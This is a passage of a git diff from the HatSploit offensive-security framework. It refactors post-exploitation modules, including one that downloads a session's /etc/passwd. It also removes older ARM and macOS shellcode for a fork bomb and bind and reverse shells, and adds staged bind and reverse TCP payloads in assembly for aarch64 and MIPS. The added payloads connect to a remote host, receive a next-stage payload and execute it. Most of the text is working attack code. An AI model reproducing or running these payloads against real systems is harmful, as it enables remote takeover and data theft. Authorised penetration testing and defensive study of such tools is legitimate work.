+        super().__init__({
             'Category': "post",
             'Name': "macOS Shell Suspend",
             'Module': "post/macos/shell/suspend",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
+                "Ivan Nikolskiy (enty8080) - module developer",
             ],
-            'Description': "Suspend macOS through shell.",
+            'Description': (
+                "Suspend macOS through shell."
+            ),
             'Platform': OS_MACOS,
-            'Rank': "medium",
+            'Rank': MEDIUM_RANK,
         })
 
-        self.session = SessionOption(None, "Session to run on.", True,
+        self.session = SessionOption('SESSION', None, "Session to run on.", True,
                                      platforms=[OS_MACOS], type='shell')
 
     def run(self):
         self.session.session.send_command(
-            "/System/Library/CoreServices/Menu\ Extras/User.menu/Contents/Resources/CGSession -suspend"
+            "/System/Library/CoreServices/Menu\\ Extras/User.menu/Contents/Resources/CGSession -suspend"
         )
diff --git a/hatsploit/modules/post/unix/shell/getpasswd.py b/hatsploit/modules/post/unix/shell/getpasswd.py
index 30ea68f76..b13f30c22 100755
--- a/hatsploit/modules/post/unix/shell/getpasswd.py
+++ b/hatsploit/modules/post/unix/shell/getpasswd.py
@@ -4,30 +4,29 @@
 """
 
 from hatsploit.lib.loot import Loot
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.sessions import Sessions
+from hatsploit.lib.core.module.basic import *
 
 
-class HatSploitModule(Module, Sessions):
+class HatSploitModule(Module):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "post",
             'Name': "Unix Obtain /etc/passwd",
             'Module': "post/unix/shell/getpasswd",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
+                "Ivan Nikolskiy (enty8080) - module developer",
             ],
-            'Description': "Get current session /etc/passwd file.",
+            'Description': (
+                "Get current session /etc/passwd file."
+            ),
             'Platform': OS_UNIX,
-            'Rank': "medium",
+            'Rank': MEDIUM_RANK,
         })
 
-        self.session = SessionOption(None, "Session to run on.", True,
+        self.session = SessionOption('SESSION', None, "Session to run on.", True,
                                      platforms=[OS_UNIX],
                                      type='shell')
-        self.path = Option(Loot().specific_loot('passwd'), "Path to save file.", True)
+        self.path = Option('PATH', Loot().specific_loot('passwd'), "Path to save file.", True)
 
     def run(self):
-        self.session_download(self.session.value, '/etc/passwd', self.path.value)
+        self.session.session.download('/etc/passwd', self.path.value)
diff --git a/hatsploit/modules/post/unix/shell/getpid.py b/hatsploit/modules/post/unix/shell/getpid.py
index 3472cbda1..94aecbd64 100755
--- a/hatsploit/modules/post/unix/shell/getpid.py
+++ b/hatsploit/modules/post/unix/shell/getpid.py
@@ -3,26 +3,26 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
+from hatsploit.lib.core.module.basic import *
 
 
 class HatSploitModule(Module):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "post",
             'Name': "Unix Shell Get PID",
             'Module': "post/unix/shell/getpid",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
+                "Ivan Nikolskiy (enty8080) - module developer",
             ],
-            'Description': "Get current session process id.",
+            'Description': (
+                "Get current session process id."
+            ),
             'Platform': OS_UNIX,
-            'Rank': "medium",
+            'Rank': MEDIUM_RANK,
         })
 
-        self.session = SessionOption(None, "Session to run on.", True,
+        self.session = SessionOption('SESSION', None, "Session to run on.", True,
                                      platforms=[OS_UNIX],
                                      type='shell')
 
diff --git a/hatsploit/payloads/linux/armle/fork_bomb.py b/hatsploit/payloads/linux/armle/fork_bomb.py
deleted file mode 100755
index 5b04550f4..000000000
--- a/hatsploit/payloads/linux/armle/fork_bomb.py
+++ /dev/null
@@ -1,30 +0,0 @@
-"""
-This payload requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.payload.basic import *
-
-
-class HatSploitPayload(Payload):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Name': "Linux armle Fork Bomb",
-            'Payload': "linux/armle/fork_bomb",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - payload developer',
-            ],
-            'Description': "Fork bomb payload for Linux armle.",
-            'Arch': ARCH_ARMLE,
-            'Platform': OS_LINUX,
-            'Rank': "low",
-            'Type': "one_side",
-        })
-
-    def run(self):
-        return (
-            b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x7f\x40"
-            b"\x02\x27\x01\xdf\xc0\x46\xff\xf7\xfa\xff"
-        )
diff --git a/hatsploit/payloads/linux/armle/shell_bind_tcp.py b/hatsploit/payloads/linux/armle/shell_bind_tcp.py
deleted file mode 100755
index 95f2eaeb7..000000000
--- a/hatsploit/payloads/linux/armle/shell_bind_tcp.py
+++ /dev/null
@@ -1,52 +0,0 @@
-"""
-This payload requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.payload.basic import *
-from pex.socket import Socket
-
-
-class HatSploitPayload(Payload, Handler, Socket):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Name': "Linux armle Shell Bind TCP",
-            'Payload': "linux/armle/shell_bind_tcp",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - payload developer',
-            ],
-            'Description': "Shell bind TCP payload for Linux armle.",
-            'Arch': ARCH_ARMLE,
-            'Platform': OS_LINUX,
-            'Rank': "high",
-            'Type': "bind_tcp",
-        })
-
-    def run(self):
-        return (
-                b"\x01\xe0\x8f\xe2"
-                b"\x1e\xff\x2f\xe1"
-                b"\x02\x20\x01\x21"
-                b"\x52\x40\xc8\x27"
-                b"\x51\x37\x01\xdf"
-                b"\x03\x1c\x0d\xa1"
-                b"\x4a\x70\x4a\x60"
-                b"\x10\x22\x01\x37"
-                b"\x01\xdf\x18\x1c"
-                b"\x02\x21\x02\x37"
-                b"\x01\xdf\x18\x1c"
-                b"\x49\x40\x52\x40"
-                b"\x01\x37\x01\xdf"
-                b"\x03\x1c\x03\x21"
-                b"\x3f\x27\x18\x1c"
-                b"\x01\x39\x01\xdf"
-                b"\x91\x42\xfa\xd1"
-                b"\x03\xa0\xc1\x71"
-                b"\x0b\x27\x01\xdf"
-                b"\x02\xff" + self.rport.little +
-                b"\x01\x01\x01\x01"
-                b"\x2f\x62\x69\x6e"
-                b"\x2f\x73\x68\x58"
-        )
diff --git a/hatsploit/payloads/linux/armle/shell_reverse_tcp.py b/hatsploit/payloads/linux/armle/shell_reverse_tcp.py
deleted file mode 100755
index e57cbad05..000000000
--- a/hatsploit/payloads/linux/armle/shell_reverse_tcp.py
+++ /dev/null
@@ -1,46 +0,0 @@
-"""
-This payload requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.payload.basic import *
-from pex.socket import Socket
-
-
-class HatSploitPayload(Payload, Handler, Socket):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Name': "Linux armle Shell Reverse TCP",
-            'Payload': "linux/armle/shell_reverse_tcp",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - payload developer',
-            ],
-            'Description': "Shell reverse TCP payload for Linux armle.",
-            'Arch': ARCH_ARMLE,
-            'Platform': OS_LINUX,
-            'Rank': "high",
-            'Type': "reverse_tcp",
-        })
-
-    def run(self):
-        return (
-                b"\x01\x10\x8F\xE2"
-                b"\x11\xFF\x2F\xE1"
-                b"\x02\x20\x01\x21"
-                b"\x92\x1A\x0F\x02"
-                b"\x19\x37\x01\xDF"
-                b"\x06\x1C\x08\xA1"
-                b"\x10\x22\x02\x37"
-                b"\x01\xDF\x3F\x27"
-                b"\x02\x21\x30\x1c"
-                b"\x01\xdf\x01\x39"
-                b"\xFB\xD5\x05\xA0"
-                b"\x92\x1a\x05\xb4"
-                b"\x69\x46\x0b\x27"
-                b"\x01\xDF\xC0\x46"
-                b"\x02\x00" + self.rport.little + self.rhost.little +
-                b"\x2f\x62\x69\x6e"
-                b"\x2f\x73\x68\x00"
-        )
diff --git a/hatsploit/payloads/macos/x64/shell_reverse_tcp.py b/hatsploit/payloads/macos/x64/shell_reverse_tcp.py
deleted file mode 100755
index 37accf536..000000000
--- a/hatsploit/payloads/macos/x64/shell_reverse_tcp.py
+++ /dev/null
@@ -1,83 +0,0 @@
-"""
-This payload requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.payload.basic import *
-from pex.assembler import Assembler
-from pex.socket import Socket
-
-
-class HatSploitPayload(Payload, Handler, Assembler, Socket):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Name': "macOS x64 Shell Reverse TCP",
-            'Payload': "macos/x64/shell_reverse_tcp",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - payload developer',
-            ],
-            'Description': "Shell reverse TCP payload for macOS x64.",
-            'Arch': ARCH_X64,
-            'Platform': OS_MACOS,
-            'Rank': "high",
-            'Type': "reverse_tcp",
-        })
-
-    def run(self):
-        return self.assemble(
-            self.details['Arch'],
-            f"""
-            start:
-                mov r8b, 0x02
-                shl r8, 24
-                or r8, 0x61
-                mov rax, r8
-
-                xor rdx, rdx
-                mov rsi, rdx
-                inc rsi
-                mov rdi, rsi
-                inc rdi
-                syscall
-
-                mov r12, rax
-
-                mov r13, 0x{self.rhost.little.hex()}{self.rport.little.hex()}0101
-                mov r9b, 0xff
-                sub r13, r9
-                push r13
-                mov r13, rsp
-
-                inc r8
-                mov rax, r8
-                mov rdi, r12
-                mov rsi, r13
-                add rdx, 0x10
-                syscall
-
-                sub r8, 0x8
-                xor rsi, rsi
-
-            dup:
-                mov rax, r8
-                mov rdi, r12
-                syscall
-
-                cmp rsi, 0x2
-                inc rsi
-                jbe dup
-
-                sub r8, 0x1f
-                mov rax, r8
-
-                xor rdx, rdx
-                mov r13, 0x68732f6e69622f2f
-                shr r13, 8
-                push r13
-                mov rdi, rsp
-                xor rsi, rsi
-                syscall
-            """
-        )
diff --git a/hatsploit/payloads/phase/linux/aarch64/bind_tcp.py b/hatsploit/payloads/phase/linux/aarch64/bind_tcp.py
new file mode 100644
index 000000000..53fa69cbd
--- /dev/null
+++ b/hatsploit/payloads/phase/linux/aarch64/bind_tcp.py
@@ -0,0 +1,119 @@
+"""
+This payload requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from hatsploit.lib.core.payload.basic import *
+
+
+class HatSploitPayload(Payload, Handler):
+    def __init__(self):
+        super().__init__({
+            'Name': "Linux aarch64 Bind TCP",
+            'Payload': "linux/aarch64/bind_tcp",
+            'Authors': [
+                "Ivan Nikolskiy (enty8080) - payload developer",
+            ],
+            'Description': (
+                "This payload creates an interactive bind TCP connection for Linux "
+                "with AARCH64 architecture and reads next phase."
+            ),
+            'Arch': ARCH_AARCH64,
+            'Platform': OS_LINUX,
+            'Type': BIND_TCP,
+        })
+
+        self.reliable = BooleanOption('PhaseReliable', 'no', "Add error checks to payload.",
+                                      False, advanced=True)
+        self.length = IntegerOption('PhaseLength', 4096, "Length of next phase.",
+                                    False, advanced=True)
+
+    def run(self):
+        assembly = """
+        start:
+            mov x0, 0x2
+            mov x1, 0x1
+            mov x2, 0
+            mov x8, 0xc6
+            svc 0
+            mov x12, x0
+
+            adr x1, addr
+            mov x2, 0x10
+            mov x8, 0xc8
+            svc 0
+
+            mov x0, x12
+            mov x1, 2
+            mov x8, 0xc9
+            svc 0
+
+            mov x0, x12
+            eor x1, x1, x1
+            eor x2, x2, x2
+            mov x8, 0xca
+            svc 0
+
+            mov x12, x0
+        """
+
+        if self.reliable.value:
+            assembly += """
+                cbnz w0, fail
+            """
+
+        assembly += f"""
+            mov x0, xzr
+            mov x1, {hex(self.length.value)}
+            mov x2, 7
+            mov x3, 0x22
+            mov x4, xzr
+            mov x5, xzr
+            mov x8, 0xde
+            svc 0
+        """
+
+        if self.reliable.value:
+            assembly += """
+                cmn x0, 1
+                beq fail
+            """
+
+        assembly += f"""
+            str x0, [sp]
+            mov x3, x0
+
+            mov x0, x12
+            mov x1, x3
+            mov x2, {hex(self.length.value)}
+            mov x8, 0x3f
+            svc 0
+        """
+
+        if self.reliable.value:
+            assembly += """
+                cmn x0, 1
+                beq fail
+            """
+
+        assembly += """
+            ldr x0, [sp]
+            blr x0
+        """
+
+        if self.reliable.value:
+            assembly += """
+            fail:
+                mov x0, 1
+                mov x8, 0x5d
+                svc 0
+            """
+
+        assembly += f"""
+        addr:
+            .short 0x2
+            .short 0x{self.rport.value.hex()}
+            .word 0x0
+        """
+
+        return self.assemble(assembly)
diff --git a/hatsploit/payloads/phase/linux/aarch64/reverse_tcp.py b/hatsploit/payloads/phase/linux/aarch64/reverse_tcp.py
new file mode 100644
index 000000000..1be6f9159
--- /dev/null
+++ b/hatsploit/payloads/phase/linux/aarch64/reverse_tcp.py
@@ -0,0 +1,106 @@
+"""
+This payload requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from hatsploit.lib.core.payload.basic import *
+
+
+class HatSploitPayload(Payload, Handler):
+    def __init__(self):
+        super().__init__({
+            'Name': "Linux aarch64 Reverse TCP",
+            'Payload': "linux/aarch64/reverse_tcp",
+            'Authors': [
+                "Ivan Nikolskiy (enty8080) - payload developer",
+            ],
+            'Description': (
+                "This payload creates an interactive reverse TCP connection for Linux "
+                "with AARCH64 architecture and reads next phase."
+            ),
+            'Arch': ARCH_AARCH64,
+            'Platform': OS_LINUX,
+            'Type': REVERSE_TCP,
+        })
+
+        self.reliable = BooleanOption('PhaseReliable', 'no', "Add error checks to payload.",
+                                      False, advanced=True)
+        self.length = IntegerOption('PhaseLength', 4096, "Length of next phase.",
+                                    False, advanced=True)
+
+    def run(self):
+        assembly = """
+        start:
+            mov x0, 0x2
+            mov x1, 0x1
+            mov x2, 0
+            mov x8, 0xc6
+            svc 0
+        
+            mov x12, x0
+            adr x1, addr
+            mov x2, 0x10
+            mov x8, 0xcb
+            svc 0
+        """
+
+        if self.reliable.value:
+            assembly += """
+                cbnz w0, fail
+            """
+
+        assembly += f"""
+            mov x0, xzr
+            mov x1, {hex(self.length.value)}
+            mov x2, 7
+            mov x3, 0x22
+            mov x4, xzr
+            mov x5, xzr
+            mov x8, 0xde
+            svc 0
+        """
+
+        if self.reliable.value:
+            assembly += """
+                cmn x0, 1
+                beq fail
+            """
+
+        assembly += f"""
+            str x0, [sp]
+            mov x3, x0
+
+            mov x0, x12
+            mov x1, x3
+            mov x2, {hex(self.length.value)}
+            mov x8, 0x3f
+            svc 0
+        """
+
+        if self.reliable.value:
+            assembly += """
+                cmn x0, 1
+                beq fail
+            """
+
+        assembly += """
+            ldr x0, [sp]
+            blr x0
+        """
+
+        if self.reliable.value:
+            assembly += """
+            fail:
+                mov x0, 1
+                mov x8, 0x5d
+                svc 0
+            """
+
+        assembly += f"""
+        addr:
+            .short 0x2
+            .short 0x{self.rport.little.hex()}
+            .word 0x{self.rhost.little.hex()}
+        """
+
+        return self.assemble(assembly)
diff --git a/hatsploit/payloads/phase/linux/mipsbe/bind_tcp.py b/hatsploit/payloads/phase/linux/mipsbe/bind_tcp.py
new file mode 100644
index 000000000..3bfa26841
--- /dev/null
+++ b/hatsploit/payloads/phase/linux/mipsbe/bind_tcp.py
@@ -0,0 +1,173 @@
+"""
+This payload requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from hatsploit.lib.core.payload.basic import *
+
+
+class HatSploitPayload(Payload, Handler):
+    def __init__(self):
+        super().__init__({
+            'Name': "Linux mipsbe Bind TCP",
+            'Payload': "linux/mipsbe/bind_tcp",
+            'Authors': [
+                "Ivan Nikolskiy (enty8080) - payload developer",
+            ],
+            'Description': (
+                "This payload creates an interactive bind TCP connection for Linux "
+                "with MIPS big-endian architecture and reads next phase."
+            ),
+            'Arch': ARCH_MIPSBE,
+            'Platform': OS_LINUX,
+            'Type': BIND_TCP,
+        })
+
+        self.reliable = BooleanOption('PhaseReliable', 'no', "Add error checks to payload.",
+                                      False, advanced=True)
+        self.length = IntegerOption('PhaseLength', 4096, "Length of next phase.",
+                                    False, advanced=True)
+
+    def run(self):
+        assembly = """
+        start:
+            addiu $sp, $sp, -0x20
+            addiu $t6, $zero, -3
+            not $a0, $t6
+            not $a1, $t6
+            slti $a2, $zero, -1
+            addiu $v0, $zero, 0x1057
+            syscall 0x40404
+        """
+
+        if self.reliable.value:
+            assembly += """
+                slt     $s0, $zero, $a3
+                bne     $s0, $zero, fail
+            """
+
+        assembly += f"""
+            andi $s0, $v0, 0xffff
+            addiu $t6, $zero, -0x11
+            not $t6, $t6
+            addiu $t5, $zero, -3
+            not $t5, $t5
+            sllv $t5, $t5, $t6
+            addiu $t6, $zero, 0x{self.rport.big.hex()}
+            or $t5, $t5, $t6
+            sw $t5, -0x20($sp)
+            sw $zero, -0x1c($sp)
+            sw $zero, -0x18($sp)
+            sw $zero, -0x14($sp)
+            or $a0, $s0, $s0
+            addiu $t6, $zero, -0x11
+            not $a2, $t6
+            addi $a1, $sp, -0x20
+            addiu $v0, $zero, 0x1049
+            syscall 0x40404
+        """
+
+        if self.reliable.value:
+            assembly += """
+                slt     $s0, $zero, $a3
+                bne     $s0, $zero, fail
+            """
+
+        assembly += """
+            or $a0, $s0, $s0
+            addiu $a1, $zero, 0x101
+            addiu $v0, $zero, 0x104e
+            syscall 0x40404
+        """
+
+        if self.reliable.value:
+            assembly += """
+                slt     $s0, $zero, $a3
+                bne     $s0, $zero, fail
+            """
+
+        assembly += """
+            or $a0, $s0, $s0
+            slti $a1, $zero, -1
+            slti $a2, $zero, -1
+            addiu $v0, $zero, 0x1048
+            syscall 0x40404
+        """
+
+        if self.reliable.value:
+            assembly += """
+                slt     $s0, $zero, $a3
+                bne     $s0, $zero, fail
+            """
+
+        assembly += f"""
+            sw $v0, -1($sp)
+            addiu   $a0, $zero, -1
+            addiu   $a1, $zero, {hex(self.length.value + 1)}
+            addi    $a1, $a1, -1
+            addiu   $t1, $zero, -8
+            not     $t1, $t1
+            add     $a2, $t1, $zero
+            addiu   $a3, $zero, 0x802
+            addiu   $t3, $zero, -0x16
+            not     $t3, $t3
+            add     $t3, $sp, $t3
+            sw      $zero, -1($t3)
+            sw      $v0, -5($t3)
+            addiu   $v0, $zero, 0xffa
+            syscall 0x40404
+        """
+
+        if self.reliable.value:
+            assembly += """
+                slt     $s0, $zero, $a3
+                bne     $s0, $zero, fail
+            """
+
+        assembly += f"""
+            sw      $v0, -4($sp)
+            lw      $a0, -1($sp)
+            lw      $a1, -4($sp)
+            addiu   $a2, $zero, {hex(self.length.value + 1)}
+            addi    $a2, $a2, -1
+            addiu   $v0, $zero, 0xfa3
+            syscall 0x40404
+        """
+
+        if self.reliable.value:
+            assembly += """
+                slt     $s0, $zero, $a3
+                bne     $s0, $zero, fail
+            """
+
+        assembly += f"""
+            lw      $a0, -4($sp)
+            add     $a1, $v0, $zero
+            addiu   $t1, $zero, -3
+            not     $t1, $t1
+            add     $a2, $t1, $zero
+            addiu   $v0, $zero, 0x1033
+            syscall 0x40404
+        """
+
+        if self.reliable.value:
+            assembly += """
+                slt     $s0, $zero, $a3
+                bne     $s0, $zero, fail
+            """
+
+        assembly += """
+            lw      $s1, -4($sp)
+            lw      $s2, -1($sp)
+            jalr    $s1
+        """
+
+        if self.reliable.value:
+            assembly += """
+            fail:
+                addiu $a0, $zero, 1
+                addiu $v0, $zero, 0xfa1
+                syscall 0x40404
+            """
+
+        return self.assemble(assembly)
diff --git a/hatsploit/payloads/phase/linux/mipsbe/reverse_tcp.py b/hatsploit/payloads/phase/linux/mipsbe/reverse_tcp.py
new file mode 100644
index 000000000..0961947af
--- /dev/null
+++ b/hatsploit/payloads/phase/linux/mipsbe/reverse_tcp.py
@@ -0,0 +1,143 @@
+"""
+This payload requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from hatsploit.lib.core.payload.basic import *
+
+
+class HatSploitPayload(Payload, Handler):
+    def __init__(self):
+        super().__init__({
+            'Name': "Linux mipsbe Reverse TCP",
+            'Payload': "linux/mipsbe/reverse_tcp",
+            'Authors': [
+                "Ivan Nikolskiy (enty8080) - payload developer",
+            ],
+            'Description': (
+                "This payload creates an interactive reverse TCP connection for Linux "
+                "with MIPS big-endian architecture and reads next phase."
+            ),
+            'Arch': ARCH_MIPSBE,
+            'Platform': OS_LINUX,
+            'Type': REVERSE_TCP,
+        })
+
+        self.reliable = BooleanOption('PhaseReliable', 'no', "Add error checks to payload.",
+                                      False, advanced=True)
+        self.length = IntegerOption('PhaseLength', 4096, "Length of next phase.",
+                                    False, advanced=True)
+
+    def run(self):
+        assembly = """
+        start:
+            addiu   $t7, $zero, -6
+            not     $t7, $t7
+            addi    $a0, $t7, -3
+            addi    $a1, $t7, -3
+            slti    $a2, $zero, -1
+            addiu   $v0, $zero, 0x1057
+            syscall 0x40404
+        """
+
+        if self.reliable.value:
+            assembly += """
+                slt     $s0, $zero, $a3
+                bne     $s0, $zero, fail
+            """
+
+        assembly += f"""
+            sw $v0, -1($sp)
+            lw $a0, -1($sp)
+            ori $t7, $zero, 0xfffd
+            not $t7, $t7
+            sw $t7, -0x20($sp)
+            lui $t6, 0x{self.rport.big.hex()}
+            ori $t6, $t6, 0x{self.rport.big.hex()}
+            sw $t6, -0x1c($sp)
+            lui $t6, 0x{self.rhost.big[:2].hex()}
+            ori $t6, $t6, 0x{self.rhost.big[2:].hex()}
+            sw $t6, -0x1a($sp)
+            addiu $a1, $sp, -0x1e
+            addiu $t4, $zero, -0x11
+            not $a2, $t4
+            addiu $v0, $zero, 0x104a
+            syscall 0x40404
+        """
+
+        if self.reliable.value:
+            assembly += """
+                slt     $s0, $zero, $a3
+                bne     $s0, $zero, fail
+            """
+
+        assembly += f"""
+            addiu   $a0, $zero, -1
+            addiu   $a1, $zero, {hex(self.length.value + 1)}
+            addi    $a1, $a1, -1
+            addiu   $t1, $zero, -8
+            not     $t1, $t1
+            add     $a2, $t1, $zero
+            addiu   $a3, $zero, 0x802
+            addiu   $t3, $zero, -0x16
+            not     $t3, $t3
+            add     $t3, $sp, $t3
+            sw      $zero, -1($t3)
+            sw      $v0, -5($t3)
+            addiu   $v0, $zero, 0xffa
+            syscall 0x40404
+        """
+
+        if self.reliable.value:
+            assembly += """
+                slt     $s0, $zero, $a3
+                bne     $s0, $zero, fail
+            """
+
+        assembly += f"""
+            sw      $v0, -4($sp)
+            lw      $a0, -1($sp)
+            lw      $a1, -4($sp)
+            addiu   $a2, $zero, {hex(self.length.value + 1)}
+            addi    $a2, $a2, -1
+            addiu   $v0, $zero, 0xfa3
+            syscall 0x40404
+        """
+
+        if self.reliable.value:
+            assembly += """
+                slt     $s0, $zero, $a3
+                bne     $s0, $zero, fail
+            """
+
+        assembly += f"""
+            lw      $a0, -4($sp)
+            add     $a1, $v0, $zero
+            addiu   $t1, $zero, -3
+            not     $t1, $t1
+            add     $a2, $t1, $zero
+            addiu   $v0, $zero, 0x1033
+            syscall 0x40404
+        """
+
+        if self.reliable.value:
+            assembly += """
+                slt     $s0, $zero, $a3
+                bne     $s0, $zero, fail
+            """
+
+        assembly += """
+            lw      $s1, -4($sp)
+            lw      $s2, -1($sp)
+            jalr    $s1
+        """
+
+        if self.reliable.value:
+            assembly += """
+            fail:
+                addiu $a0, $zero, 1
+                addiu $v0, $zero, 0xfa1
+                syscall 0x40404
+            """
+
+        return self.assemble(assembly)
diff --git a/hatsploit/payloads/phase/linux/mipsle/bind_tcp.py b/hatsploit/payloads/phase/linux/mipsle/bind_tcp.py
new file mode 100644
index 000000000..f13305f53
--- /dev/null
+++ b/hatsploit/payloads/phase/linux/mipsle/bind_tcp.py
@@ -0,0 +1,173 @@
+"""
+This payload requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from hatsploit.lib.core.payload.basic import *
+
+
+class HatSploitPayload(Payload, Handler):
+    def __init__(self):
+        super().__init__({
+            'Name': "Linux mipsle Bind TCP",
+            'Payload': "linux/mipsle/bind_tcp",
+            'Authors': [
+                "Ivan Nikolskiy (enty8080) - payload developer",
+            ],
+            'Description': (
+                "This payload creates an interactive bind TCP connection for Linux "
+                "with MIPS little-endian architecture and reads next phase."
+            ),
+            'Arch': ARCH_MIPSLE,
+            'Platform': OS_LINUX,
+            'Type': BIND_TCP,
+        })
+
+        self.reliable = BooleanOption('PhaseReliable', 'no', "Add error checks to payload.",
+                                      False, advanced=True)
+        self.length = IntegerOption('PhaseLength', 4096, "Length of next phase.",
+                                    False, advanced=True)
+
+    def run(self):
+        assembly = """
+        start:
+            addiu $sp, $sp, -0x20
+            addiu $t6, $zero, -3
+            not $a0, $t6
+            not $a1, $t6
+            slti $a2, $zero, -1
+            addiu $v0, $zero, 0x1057
+            syscall 0x40404
+        """
+
+        if self.reliable.value:
+            assembly += """
+                slt     $s0, $zero, $a3
+                bne     $s0, $zero, fail
+            """
+
+        assembly += f"""
+            andi $s0, $v0, 0xffff
+            addiu $t6, $zero, -0x11
+            not $t6, $t6
+            addiu $t5, $zero, -3
+            not $t5, $t5
+            sllv $t5, $t5, $t6
+            addiu $t6, $zero, 0x{self.rport.little.hex()}
+            or $t5, $t5, $t6
+            sw $t5, -0x20($sp)
+            sw $zero, -0x1c($sp)
+            sw $zero, -0x18($sp)
+            sw $zero, -0x14($sp)
+            or $a0, $s0, $s0
+            addiu $t6, $zero, -0x11
+            not $a2, $t6
+            addi $a1, $sp, -0x20
+            addiu $v0, $zero, 0x1049
+            syscall 0x40404
+        """
+
+        if self.reliable.value:
+            assembly += """
+                slt     $s0, $zero, $a3
+                bne     $s0, $zero, fail
+            """
+
+        assembly += """
+            or $a0, $s0, $s0
+            addiu $a1, $zero, 0x101
+            addiu $v0, $zero, 0x104e
+            syscall 0x40404
+        """
+
+        if self.reliable.value:
+            assembly += """
+                slt     $s0, $zero, $a3
+                bne     $s0, $zero, fail
+            """
+
+        assembly += """
+            or $a0, $s0, $s0
+            slti $a1, $zero, -1
+            slti $a2, $zero, -1
+            addiu $v0, $zero, 0x1048
+            syscall 0x40404
+        """
+
+        if self.reliable.value:
+            assembly += """
+                slt     $s0, $zero, $a3
+                bne     $s0, $zero, fail
+            """
+
+        assembly += f"""
+            sw $v0, -1($sp)
+            addiu   $a0, $zero, -1
+            addiu   $a1, $zero, {hex(self.length.value + 1)}
+            addi    $a1, $a1, -1
+            addiu   $t1, $zero, -8
+            not     $t1, $t1
+            add     $a2, $t1, $zero
+            addiu   $a3, $zero, 0x802
+            addiu   $t3, $zero, -0x16
+            not     $t3, $t3
+            add     $t3, $sp, $t3
+            sw      $zero, -1($t3)
+            sw      $v0, -5($t3)
+            addiu   $v0, $zero, 0xffa
+            syscall 0x40404
+        """
+
+        if self.reliable.value:
+            assembly += """
+                slt     $s0, $zero, $a3
+                bne     $s0, $zero, fail
+            """
+
+        assembly += f"""
+            sw      $v0, -4($sp)
+            lw      $a0, -1($sp)
+            lw      $a1, -4($sp)
+            addiu   $a2, $zero, {hex(self.length.value + 1)}
+            addi    $a2, $a2, -1
+            addiu   $v0, $zero, 0xfa3
+            syscall 0x40404
+        """
+
+        if self.reliable.value:
+            assembly += """
+                slt     $s0, $zero, $a3
+                bne     $s0, $zero, fail
+            """
+
+        assembly += f"""
+            lw      $a0, -4($sp)
+            add     $a1, $v0, $zero
+            addiu   $t1, $zero, -3
+            not     $t1, $t1
+            add     $a2, $t1, $zero
+            addiu   $v0, $zero, 0x1033
+            syscall 0x40404
+        """
+
+        if self.reliable.value:
+            assembly += """
+                slt     $s0, $zero, $a3
+                bne     $s0, $zero, fail
+            """
+
+        assembly += """
+            lw      $s1, -4($sp)
+            lw      $s2, -1($sp)
+            jalr    $s1
+        """
+
+        if self.reliable.value:
+            assembly += """
+            fail:
+                addiu $a0, $zero, 1
+                addiu $v0, $zero, 0xfa1
+                syscall 0x40404
+            """
+
+        return self.assemble(assembly)
diff --git a/hatsploit/payloads/phase/linux/mipsle/reverse_tcp.py b/hatsploit/payloads/phase/linux/mipsle/reverse_tcp.py
new file mode 100644
index 000000000..2bea4278c
--- /dev/null
+++ b/hatsploit/payloads/phase/linux/mipsle/reverse_tcp.py
@@ -0,0 +1,143 @@
+"""
+This payload requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from hatsploit.lib.core.payload.basic import *
+
+
+class HatSploitPayload(Payload, Handler):
+    def __init__(self):
+        super().__init__({
+            'Name': "Linux mipsle Reverse TCP",
+            'Payload': "linux/mipsle/reverse_tcp",
+            'Authors': [
+                "Ivan Nikolskiy (enty8080) - payload developer",
+            ],
+            'Description': (
+                "This payload creates an interactive reverse TCP connection for Linux "
+                "with MIPS little-endian architecture and reads next phase."
+            ),
+            'Arch': ARCH_MIPSLE,
+            'Platform': OS_LINUX,
+            'Type': REVERSE_TCP,
+        })
+
+        self.reliable = BooleanOption('PhaseReliable', 'no', "Add error checks to payload.",
+                                      False, advanced=True)
+        self.length = IntegerOption('PhaseLength', 4096, "Length of next phase.",
+                                    False, advanced=True)
+
+    def run(self):
+        assembly = """
+        start:
+            addiu   $t7, $zero, -6
+            not     $t7, $t7
+            addi    $a0, $t7, -3
+            addi    $a1, $t7, -3
+            slti    $a2, $zero, -1
+            addiu   $v0, $zero, 0x1057
+            syscall 0x40404
+        """
+
+        if self.reliable.value:
+            assembly += """
+                slt     $s0, $zero, $a3
+                bne     $s0, $zero, fail
+            """
+
+        assembly += f"""
+            sw $v0, -1($sp)
+            lw $a0, -1($sp)
+            ori $t7, $zero, 0xfffd
+            not $t7, $t7
+            sw $t7, -0x20($sp)
+            lui $t6, 0x{self.rport.little.hex()}
+            ori $t6, $t6, 0x{self.rport.little.hex()}
